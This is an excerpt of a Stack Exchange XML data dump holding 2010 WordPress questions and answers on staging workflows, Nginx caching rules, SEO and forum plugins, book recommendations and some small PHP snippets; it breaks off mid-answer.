  <row Id="1113" PostTypeId="1" CreationDate="2010-08-31T22:56:24.273" Score="5" ViewCount="349" Body="&lt;p&gt;Just wondering if people have any thoughts around the best way to setup Wordpress 3 to use for development, staging and production. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have an install that I just use for dev, before moving the files to stage for a friend to review. This normally goes back and forwards for a while until they are happy. Then it goes to prod.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a fairly manual process, so open to any suggestions as to how to best automate parts of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What works for you?&lt;/p&gt;&#xA;" OwnerUserId="578" LastEditorUserId="578" LastEditorDisplayName="" LastEditDate="2010-12-27T23:26:14.577" LastActivityDate="2010-12-27T23:26:14.577" Title="Wordpress 3 MU for a development/stage/production site" Tags="&lt;development&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="4" />
  <row Id="1114" PostTypeId="2" ParentId="1057" CreationDate="2010-08-31T23:03:01.043" Score="0" ViewCount="" Body="&lt;p&gt;This might not be what you are after but I use a premium theme extensively called Thesis which allows for easy implementation of all of your questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a spot to insert Analytics scripts, a favicon uploader and really nice SEO functionality, all without additional plugins. I thoroughly recommend it.&lt;/p&gt;&#xA;" LastActivityDate="2010-08-31T23:03:01.043" />
  <row Id="1115" PostTypeId="1" AcceptedAnswerId="1116" CreationDate="2010-08-31T23:19:24.987" Score="1" ViewCount="301" Body="&lt;p&gt;How do you &lt;strong&gt;set up routing rules&lt;/strong&gt; correctly with &lt;a href=&quot;http://nginx.org/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Nginx&lt;/strong&gt;&lt;/a&gt; to support &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-super-cache/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP Super Cache&lt;/strong&gt;&lt;/a&gt; for a WordPress (3.x) site?&lt;/p&gt;&#xA;" OwnerUserId="585" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-31T23:25:49.483" LastActivityDate="2010-09-01T05:02:18.390" Title="Configuring Routing Rules for WordPress+Nginx and WP-SuperCache?" Tags="&lt;nginx&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="1116" PostTypeId="2" ParentId="1115" CreationDate="2010-08-31T23:23:10.720" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@jschoolcraft&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this articles address your question?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ocaoimh.ie/wordpress-nginx-wp-super-cache/&quot; rel=&quot;nofollow&quot;&gt;WordPress, Nginx and WP Super Cache&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If not, maybe there would be something in these?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://elasticdog.com/2008/02/howto-install-wordpress-on-nginx/&quot; rel=&quot;nofollow&quot;&gt;HOWTO: Install WordPress On Nginx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;WordPress + &lt;a href=&quot;http://wordpress.org/extend/plugins/nginx-compatibility/&quot; rel=&quot;nofollow&quot;&gt;nginx Compatibility&lt;/a&gt; Plugin&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://joneslee85.wordpress.com/2010/03/13/howto-nginx-wordpress-ubuntu-shortest-setup/&quot; rel=&quot;nofollow&quot;&gt;Howto nginx + wordpress + ubuntu shortest setup&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hakre.wordpress.com/2010/04/09/nginx-front-end-proxy-cache-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Nginx front-end proxy cache for WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://josephscott.org/archives/2010/06/wordpress-pretty-permalinks-with-nginx/&quot; rel=&quot;nofollow&quot;&gt;WordPress Pretty Permalinks with Nginx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-31T23:23:10.720" CommentCount="5" />
  <row Id="1117" PostTypeId="1" CreationDate="2010-08-31T23:25:26.693" Score="0" ViewCount="35" Body="&lt;p&gt;How should I promote my new WP based website on the search engines (especially google, as I work the Hebrew language which use mostly the google SE)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for basic promoting and website optimization, and some hard time pros stuff???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advanced,&#xA;Erez&lt;/p&gt;&#xA;" OwnerUserId="587" LastActivityDate="2010-08-31T23:39:06.260" Title="Whats the purpose of metalinks and" Tags="&lt;optimization&gt;&lt;seo&gt;&lt;google-search&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="1118" PostTypeId="2" ParentId="1107" CreationDate="2010-08-31T23:29:02.720" Score="1" ViewCount="" Body="&lt;p&gt;This one might get you started (this one is for the size as you can see since i do value 1 times value 2) (just to give an example of more advanced queries)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; global $edl_global_join;&#xA; global $edl_global_orderby;&#xA; global $wp_query;&#xA;&#xA; function edl_posts_join ($join) {&#xA;   global $edl_global_join;&#xA;   if ($edl_global_join) $join .= &quot; $edl_global_join&quot;;&#xA;   return $join;&#xA; }&#xA;&#xA; function edl_posts_orderby ($orderby) {&#xA;  global $edl_global_orderby;&#xA;  if ($edl_global_orderby) $orderby = $edl_global_orderby;&#xA;  return $orderby;&#xA; }&#xA;&#xA; add_filter('posts_join','edl_posts_join');&#xA; add_filter('posts_orderby','edl_posts_orderby');&#xA;&#xA; $edl_global_join = &#xA; &quot;JOIN $wpdb-&amp;gt;postmeta meta1 ON (meta1.post_id = $wpdb-&amp;gt;posts.ID AND meta1.meta_key = 'TOPSPEED')&quot; .&#xA; &quot;JOIN $wpdb-&amp;gt;postmeta meta2 ON (meta2.post_id = $wpdb-&amp;gt;posts.ID AND meta2.meta_key = 'ANOTHER_THING')&quot;;&#xA; $edl_global_orderby = &quot; meta1.meta_value * meta2.meta_value DESC&quot;;&#xA;&#xA; $wp_query = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then just run the loop I wrote a &quot;CAR class&quot; which among others displays meta fields such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $car-&amp;gt;display_meta_size();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is actually the following method in that class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //&#xA;// specific display for size overviews&#xA;//&#xA;function display_meta_size()&#xA;{&#xA;    $this-&amp;gt;mMetaData-&amp;gt;GetValuesFromWP();&#xA;    ?&amp;gt;&#xA;    &amp;lt;table width=&quot;100%&quot;&amp;gt;&#xA;    &amp;lt;?php   &#xA;    $this-&amp;gt;mMetaData-&amp;gt;ShowIcon();&#xA;    $this-&amp;gt;mMetaData-&amp;gt;ShowSize();&#xA;    ?&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;?php&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the method GetValuesFromWP() is from the wp metadata class :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get the values stored in WordPress&#xA;function GetValuesFromWP() {&#xA;    global $post;&#xA;    $custom = get_post_custom($post-&amp;gt;ID);&#xA;&#xA;    foreach ($this-&amp;gt;mArrMetaDataFields as $str_meta_data_field)&#xA;    {&#xA;        $this-&amp;gt;MetaDataWpValues[$str_meta_data_field] = &#xA;                    $custom[$str_meta_data_field][0];&#xA;    }&#xA;    $this-&amp;gt;MetaDataWpValues['SPECIAL'] = $custom['SPECIAL'][0];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(so in the join function totally above add the page selection(s))&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-08-31T23:39:43.080" LastActivityDate="2010-08-31T23:39:43.080" />
  <row Id="1119" PostTypeId="2" ParentId="1092" CreationDate="2010-08-31T23:33:47.627" Score="0" ViewCount="" Body="&lt;p&gt;I agree with Doug &quot;Yet Another Related Posts Plugin&quot;&lt;/p&gt;&#xA;" OwnerUserId="588" LastActivityDate="2010-08-31T23:33:47.627" CommentCount="1" />
  <row Id="1120" PostTypeId="2" ParentId="1117" CreationDate="2010-08-31T23:39:06.260" Score="1" ViewCount="" Body="&lt;p&gt;I use the &lt;a href=&quot;http://www.seodesignsolutions.com/wordpress-seo/&quot; rel=&quot;nofollow&quot;&gt;SEO Ultimate&lt;/a&gt; plugin. Not sure if they offer Hebrew, but Google translate may help.&lt;/p&gt;&#xA;" OwnerUserId="588" LastActivityDate="2010-08-31T23:39:06.260" CommentCount="2" />
  <row Id="1121" PostTypeId="1" AcceptedAnswerId="1139" CreationDate="2010-08-31T23:41:22.913" Score="6" ViewCount="356" Body="&lt;p&gt;I've been plugging away with WordPress for some years now. In that time, I've never really taken time to fully understand the platform. It powers my site, and that's been enough. But I feel I need to know more about the system to get the most use out of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please suggest any books that cover WP in some depth. I don't necessarily need WordPress 101, but I am particularly interested in making use of WP's extensibility, as well as building themes.&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-01T05:48:45.963" LastActivityDate="2010-09-08T19:07:53.367" CommunityOwnedDate="2010-09-04T23:21:01.927" Title="Recommendations for an In-Depth WordPress Book?" Tags="&lt;books&gt;" AnswerCount="8" CommentCount="1" FavoriteCount="5" />
  <row Id="1122" PostTypeId="2" ParentId="1011" CreationDate="2010-08-31T23:51:21.130" Score="0" ViewCount="" Body="&lt;p&gt;I use this: &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-301-redirects/&quot; rel=&quot;nofollow&quot;&gt;Simple 301 Redirects&lt;/a&gt; plugin - used it for a few pages prior, and I am soon to move my web design site with all it's files and folders inside of my WP files.&lt;/p&gt;&#xA;" OwnerUserId="588" LastActivityDate="2010-08-31T23:51:21.130" />
  <row Id="1123" PostTypeId="1" AcceptedAnswerId="1706" CreationDate="2010-08-31T23:56:37.647" Score="1" ViewCount="84" Body="&lt;p&gt;I have written a plugin that puts a (google) favicon in front of each link in my blog. Really simple. Just uses a simple preg_replace_callback on hrefs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$changed_html_reference = preg_replace_callback(self::HTML_REF_REGEX, &#xA;   array($this,'AddExtraHtmlToOneHref'), $strHtmlBodyText);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with a&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', array($this,'ReplaceAll'), 9);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for the replacement and a default call to the google site for the icon (snip out of class) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const GOOGLE_ICON_URL = 'http://www.google.com/s2/favicons?domain=';&#xA;function HttpDownloadFeed()&#xA;{&#xA; $parsed_url = parse_url($this-&amp;gt;url);  &#xA; $data_r = wp_remote_get(self::GOOGLE_ICON_URL . $parsed_url['host']);&#xA; $data = $data_r['body'];&#xA; return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I now have taken the approach of making my own cache class which stores the icons in directories like e.g. /cache/com/facebook/www/f.png.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I am now thinking about the location of that class. For easiness i placed the cache in the wp-content directory. The following questions I have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;could i plugin an existing cache / cache plugin to do the caching for me?&lt;/li&gt;&#xA;&lt;li&gt;what is the best location for my own cache thing? should i put it under /wp-content/cache or /plugins/myplugin/mycache or even /themes/mytheme/cache ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;or is there even a better approach to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am using the com/facebook/www approach because i also store session date of stumbleupon, delicious etc...in there and i only want to call these pages/feeds once incl. the request for a google favicon) (and since i need to display the icon and not all browser support inline displaying of icons embedded in html i need to write them to a directory available to the client).&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-10-14T21:04:45.350" Title="Plugin a specific cache functionality?" Tags="&lt;cache&gt;" AnswerCount="2" FavoriteCount="0" />
  <row Id="1124" PostTypeId="2" ParentId="1113" CreationDate="2010-09-01T00:04:25.433" Score="2" ViewCount="" Body="&lt;p&gt;I think you know this one : &lt;a href=&quot;http://core.trac.wordpress.org/ticket/12865&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/12865&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone posting here is I believe involved in google: wpengine.com (i can only post 1 link) who offers one-click staging&lt;/p&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-09-01T00:12:00.057" LastActivityDate="2010-09-01T00:12:00.057" CommentCount="1" />
  <row Id="1125" PostTypeId="2" ParentId="1121" CreationDate="2010-09-01T00:11:08.380" Score="1" ViewCount="" Body="&lt;p&gt;I recently bought WordPress Bible by Aaron Brazell. The book covers most topics pretty well. A good place to &lt;em&gt;start&lt;/em&gt; for developing for WordPress. I think this is the best book for your purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470568135&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/WordPress-Bible-Aaron-Brazell/dp/0470568135&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also bought WordPress Plugin Development: A Beginners' Guide by Vladmir Prelovac but that  is more of a cookbook style book. You can't use it like a reference.&lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2010-09-01T00:11:08.380" CommunityOwnedDate="2010-09-04T23:21:01.927" />
  <row Id="1126" PostTypeId="2" ParentId="1121" CreationDate="2010-09-01T00:14:59.263" Score="3" ViewCount="" Body="&lt;p&gt;I recently looked at Smashing WordPress and it had a lot of really good info on building themes and using WordPress as a CMS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470684151&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/Smashing-WordPress-Beyond-Blog-Magazine/dp/0470684151&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another good one is Digging Into WordPress by Chris Coyier &amp;amp; Jeff Starr&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://digwp.com/book/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/book/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 9/2/10&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to add another option which is WordPress Bible by: Aaron Brazell with Mark Jaquith Technical Editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/VQNKn.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470568135&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/WordPress-Bible-Aaron-Brazell/dp/0470568135/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I own this book and it is the closest thing to a complete WordPress reference thats available.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;Until now, there has never been a book that covers&#xA;the topic holistically and exhaustively and for all levels of expertise.&#xA;-Aaron Brazell&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-03T03:54:09.890" LastActivityDate="2010-09-03T03:54:09.890" CommunityOwnedDate="2010-09-04T23:21:01.927" CommentCount="3" />
  <row Id="1128" PostTypeId="1" CreationDate="2010-09-01T00:23:54.733" Score="0" ViewCount="83" Body="&lt;p&gt;I recently became an admin of a wordpress site, for the purpose of setting up a store. I have little wordpress knowledge, so I will try to be as specific as I can. I am using the WP e-commerce plug in, version 3.7.6.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone else was originally in charge of the store and added some items, since then we updated the word press version and I added many more items. The store page was set to display all items and it displayed them alphabetically.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I was adding it items, editing stock #s, etc, at some point some items started showing up twice in the store. I also noticed it wasn't showing up all of the items, while duplicating others. In the admin section, all of my items are listed correctly - just on the products-page there are duplicates. Not knowing any better solution, i duplicated several items and deleted the originals and everything was showing up only once. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having grown the store in # of items, I went into appearance settings and changed it to be listed 10 items per page. Then selected &quot;drag and drop&quot; to arrange the items. When I went to arrange them, only a partial list of items came up, so I changed it back to alpha. When I did this, all of the items that were on my partial list from the drag and drop section were now duplicated in the store. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in two completely different scenarios, I've somehow ended up with items showing up twice. How can I fix this and prevent it from happening again when I make changes? &lt;/p&gt;&#xA;" LastActivityDate="2010-09-01T01:14:15.113" Title="Why are my wordpress store items showing up in duplicates?" Tags="&lt;plugins&gt;&lt;content&gt;" AnswerCount="1" />
  <row Id="1129" PostTypeId="2" ParentId="1113" CreationDate="2010-09-01T00:45:09.830" Score="0" ViewCount="" Body="&lt;p&gt;What platform? I use Linux to stage WP3.0 and it was a bit of a challenge to set up (I can't login with a subdomain install unless I disable SUBDOMAIN_INSTALL constant then reenable after login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set up the subdomains to work in /etc/hosts but I have a few DB queries I have to run each time I download my production DB, so that it will work locally.&lt;/p&gt;&#xA;" OwnerUserId="591" LastActivityDate="2010-09-01T00:45:09.830" />
  <row Id="1130" PostTypeId="2" ParentId="1121" CreationDate="2010-09-01T01:10:05.247" Score="0" ViewCount="" Body="&lt;p&gt;'Head First WordPress' could be your best choice. Their Head First series have become the standard for tech books.&lt;/p&gt;&#xA;" OwnerUserId="593" LastActivityDate="2010-09-01T01:10:05.247" CommunityOwnedDate="2010-09-04T23:21:01.927" />
  <row Id="1131" PostTypeId="2" ParentId="1128" CreationDate="2010-09-01T01:14:15.113" Score="1" ViewCount="" Body="&lt;p&gt;First, I'd verify that whether or not there are duplicates in the database.  If so, then it may be the plugin that has a bug.  You can remove the duplicates from MySQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, then it may be that the template that has problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most definitely, always, always, always backup your MySQL tables prior to switching versions of wordpress or database affecting plugins.&lt;/p&gt;&#xA;" OwnerUserId="594" LastActivityDate="2010-09-01T01:14:15.113" />
  <row Id="1132" PostTypeId="1" CreationDate="2010-09-01T01:21:42.127" Score="15" ViewCount="597" Body="&lt;p&gt;If you wanted to add a user forum to your software site, and make it look and work like your WordPress blog, what forum software would you choose?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently bbPress has the same origins as WordPress, but is it best or are there other choices that are better?&lt;/p&gt;&#xA;" OwnerUserId="595" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-01T01:39:52.290" LastActivityDate="2011-07-08T09:35:39.603" Title="Forum Software that Integrates with a WordPress Blog/Website?" Tags="&lt;forum&gt;" AnswerCount="9" FavoriteCount="8" />
  <row Id="1133" PostTypeId="2" ParentId="1071" CreationDate="2010-09-01T01:24:27.350" Score="0" ViewCount="" Body="&lt;p&gt;I ended up creating a page template called &quot;allposts-page.php&quot; in the Twenty-Ten Themes folder containing the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: All Posts&#xA; *&#xA; * A custom page template for displaying all posts.&#xA; *&#xA; * The &quot;Template Name:&quot; bit above allows this to be selectable&#xA; * from a dropdown menu on the edit page screen.&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Twenty_Ten&#xA; * @since Twenty Ten 1.0&#xA; */&#xA;&#xA;get_header(); ?&amp;gt;&#xA;&#xA;  &amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;   &amp;lt;div id=&quot;content&quot; role=&quot;main&quot;&amp;gt;&#xA;&amp;lt;h2&amp;gt;Archive of All Posts:&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php wp_get_archives('type=postbypost'); ?&amp;gt;&#xA;  &amp;lt;/ul&amp;gt;&#xA;&#xA;&#xA;   &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then created a new page using the Wordpress Admin system with a title of &quot;All Posts&quot; and selected the &quot;All Posts&quot; template from the drop-down. Didn't need to enter anything in the body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting page can be found via:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.oceanbytes.org/all-posts/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default for &quot;wp_get_archives&quot; is &quot;monthly&quot; but I chose &quot;postbypost&quot; as I wanted to just list all posts as on long list.  More options can be found on the Wordpress site via &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_archives&quot; rel=&quot;nofollow&quot;&gt;Function Reference/wp get archives&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2010-09-01T01:24:27.350" />
  <row Id="1134" PostTypeId="1" CreationDate="2010-09-01T01:26:59.263" Score="0" ViewCount="59" Body="&lt;p&gt;I have run into a frustrating situation in the development of my site/store.  I am using the Shopp plugin and there is a disconnect between the tags in WP and the tags in the store plugin.  In my case I have both articles with tags and products with tags.  I do not want them in the same tag cloud but I do want tag clouds of both categories.  While this discrete issue is solvable with tools that already exist...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It started me thinking that many situations would benefit from a tag cloud that was definable directly to a db field.  This would allow rapid addition of tags and the ability to have multiple tag clouds on a site that perform radically different functions.  Has this already been solved?  For most users to use it would need to be an easily used plugin.  If one could define a set of tags by the content of a mysql field you could have a tag cloud for about anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope the editing of the question made the issue a bit clearer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Input appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MM/RC&lt;/p&gt;&#xA;" OwnerUserId="514" LastEditorUserId="514" LastEditorDisplayName="" LastEditDate="2010-09-01T02:35:51.870" LastActivityDate="2010-09-01T02:35:51.870" Title="Is there a plugin that will allow a tag cloud to be created from any mysql field?" Tags="&lt;plugin-development&gt;&lt;tags&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="1135" PostTypeId="2" ParentId="1092" CreationDate="2010-09-01T01:49:49.593" Score="0" ViewCount="" Body="&lt;p&gt;I'm using a plugin called Similar Posts to do exactly what you are after. Like this &lt;a href=&quot;http://www.australianmusichistory.com/this-month-in-australian-music-september/&quot; rel=&quot;nofollow&quot;&gt;http://www.australianmusichistory.com/this-month-in-australian-music-september/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has some nice formatting features that allow you to display thumbnails etc.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-01T01:49:49.593" />
  <row Id="1136" PostTypeId="2" ParentId="1132" CreationDate="2010-09-01T02:11:07.917" Score="12" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Great question&lt;/strong&gt;, &lt;em&gt;one that I want constantly asked myself&lt;/em&gt;. At this point I am aware of &lt;strong&gt;two potential options&lt;/strong&gt; (if you ignore integrations with vBulletin, phpBB, etc.) If there are others I sure would like to know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the &lt;em&gt;Pros&lt;/em&gt; and &lt;em&gt;Cons&lt;/em&gt; are from my current understanding perspective only and certainly not a complete list:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1.) &lt;a href=&quot;http://bbpress.org/&quot; rel=&quot;nofollow&quot;&gt;bbPress&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Pros&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blessed by &lt;a href=&quot;http://automattic.com/&quot; rel=&quot;nofollow&quot;&gt;Automattic&lt;/a&gt; thus the &lt;em&gt;&quot;official&quot;&lt;/em&gt; forum for WordPress&lt;/li&gt;&#xA;&lt;li&gt;Similar to WordPress in theming architecture (i.e. &lt;a href=&quot;http://bbpress.org/documentation/template-tags/&quot; rel=&quot;nofollow&quot;&gt;Template Tags&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;A decent number of &lt;a href=&quot;http://bbpress.org/plugins/view/top-rated&quot; rel=&quot;nofollow&quot;&gt;plugins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Open Source&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Cons&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Not a WordPress plugin but a separate app (this may be changing)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bbpress.org/about/features/&quot; rel=&quot;nofollow&quot;&gt;Not very feature rich&lt;/a&gt; compared to many other forums.&lt;/li&gt;&#xA;&lt;li&gt;Clunky user-interface (again IMO)&lt;/li&gt;&#xA;&lt;li&gt;Frustration regarding &lt;a href=&quot;http://bbpress.org/forums/topic/bbpress-11-maybe-soon&quot; rel=&quot;nofollow&quot;&gt;the slow pace of improvement&lt;/a&gt; (&lt;a href=&quot;http://bbpress.org/forums/topic/stackoverlow-for-wordpress-support-forum-matt-please-wake-up-and-take-notice&quot; rel=&quot;nofollow&quot;&gt;nice irony here&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;2.) &lt;a href=&quot;http://simple-press.com/simplepress-4-3-3-released/&quot; rel=&quot;nofollow&quot;&gt;Simple:Press&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Pros&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is a WordPress Plugin&lt;/li&gt;&#xA;&lt;li&gt;Appears to be &lt;a href=&quot;http://simple-press.com/simplepress-4-3-3-released/&quot; rel=&quot;nofollow&quot;&gt;actively supported&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;Reasonable amount of &lt;a href=&quot;http://simple-press.com/features/&quot; rel=&quot;nofollow&quot;&gt;Features&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Reasonably attractive look and feel&lt;/li&gt;&#xA;&lt;li&gt;Appears to also be open source&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Cons&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Not being the &lt;em&gt;&quot;official&quot;&lt;/em&gt; will always relegate it to 2nd class in the community&lt;/li&gt;&#xA;&lt;li&gt;No evidence of 3rd party &lt;a href=&quot;http://simple-press.com/features/&quot; rel=&quot;nofollow&quot;&gt;plugins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;No visible financial support so if the team looses interest...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;3.) &lt;a href=&quot;http://buddypress.org/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There is actually a 3rd option to consider which is &lt;a href=&quot;http://buddypress.org/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress&lt;/a&gt;. It's more like a &lt;em&gt;Facebook-in-a-box&lt;/em&gt; social network than a forum but might address your or other's use-cases. It appears that it is currently getting a lot more attention than bbPress so that's good and it's &lt;em&gt;Pros&lt;/em&gt; are similar to bbPress. Might be something to consider...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, those are the ones I know of any my impressions. If looking forward to any other options people have to suggest.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;h3&gt;UDPATE:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Here's another &lt;em&gt;potential&lt;/em&gt; forum plugin for WordPress from &lt;a href=&quot;http://justintadlock.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Justin Tadlock&lt;/em&gt;&lt;/a&gt;. He hasn't released it yet but I sure hope he does, sooner than later:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://justintadlock.com/archives/2010/07/16/a-wordpress-forum-plugin-using-custom-post-types&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;A WordPress forum plugin using custom post 